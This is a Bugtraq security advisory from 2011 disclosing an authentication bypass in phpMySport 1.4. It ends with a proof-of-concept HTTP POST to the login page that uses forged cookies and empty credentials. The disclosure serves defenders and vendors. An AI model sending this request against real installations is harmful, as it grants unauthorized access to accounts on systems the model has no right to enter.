bugtraq - Authentication bypass in phpMySport

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Message-Id: <201101061814.p06IEF7u080020@htbridge.ch>
Date: Thu, 6 Jan 2011 19:14:15 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: Authentication bypass in phpMySport

Vulnerability ID: HTB22774
Reference: http://www.htbridge.ch/advisory/authentication_bypass_in_phpmysport.html
Product: phpMySport
Vendor: phpMySport ( http://phpmysport.sourceforge.net/ ) 
Vulnerable Version: 1.4
Vendor Notification: 21 December 2010 
Vulnerability Type: Authentication bypass
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input. Attacker can bypass authentication.

The following PoC is available:


POST /index.php?r=member&v1=login HTTP/1.1
Cookie: auto_connection=1; cle=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

login=&pass=&x=9&y=10